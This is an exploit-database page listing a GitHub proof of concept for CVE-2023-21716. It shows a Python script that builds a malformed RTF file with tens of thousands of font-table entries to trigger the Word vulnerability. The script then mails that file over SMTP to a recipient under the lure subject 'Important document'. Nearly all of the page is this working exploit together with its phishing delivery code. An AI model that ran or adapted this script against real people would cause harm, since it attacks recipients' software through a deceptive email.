Exploit database

GH-ad44011c4f9a7346d75c08cccb72790c

hv0l/cve-2023-21716_exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-21716

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
hv0l/cve-2023-21716_exploitRevision d8559d43376e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 1,180 bytes
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders

with open("exploit.rtf", "wb") as file:
    file.write(("{\\rtf1{\n{\\fonttbl" + "".join([("{\\f%dA;}\n" % i) for i in range(0, 32761)]) + "}\n{\\rt''lch no?}\n}}\n").encode("utf-8"))

smtp_server = "smtp.example.com"
smtp_port = 587
smtp_user = "[email protected]"
smtp_password = "your_password"
from_email = "[email protected]"
to_email = "[email protected]"

msg = MIMEMultipart()
msg["From"] = from_email
msg["To"] = to_email
msg["Subject"] = "Important document"

msg.attach(MIMEText("Please review the attached RTF document."))

with open("exploit.rtf", "rb") as file:
    attachment = MIMEBase("application", "octet-stream")
    attachment.set_payload(file.read())
    encoders.encode_base64(attachment)
    attachment.add_header("Content-Disposition", "attachment", filename="exploit.rtf")
    msg.attach(attachment)

server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
server.sendmail(from_email, to_email, msg.as_string())
server.quit()